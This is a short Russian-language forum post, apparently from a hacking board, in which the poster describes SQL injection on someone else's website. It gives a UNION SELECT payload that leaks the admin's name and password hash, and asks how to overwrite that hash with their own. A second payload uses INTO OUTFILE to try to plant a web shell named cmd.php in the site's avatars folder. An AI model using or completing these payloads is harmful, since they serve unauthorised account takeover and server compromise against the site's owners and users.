на одном сайте скулька... делаю такой запрос :

')/**/UNION/**/SELECT/**/0,0,pwd,aid,0,0,0,0,0,0/**/FROM/**/authors/*

мне выдает имя и хеш админа, подскажите как составить запрос чтобы сменить хешь своим

и еще делаю запрос
s%')+UNION+SELECT+0,0,0,'',0,0,0,0,0,0+FROM+author s+into+outfile+'/home/xxx/public_html/modules/Forums/images/avatars/cmd.php'/*

но файл не создается (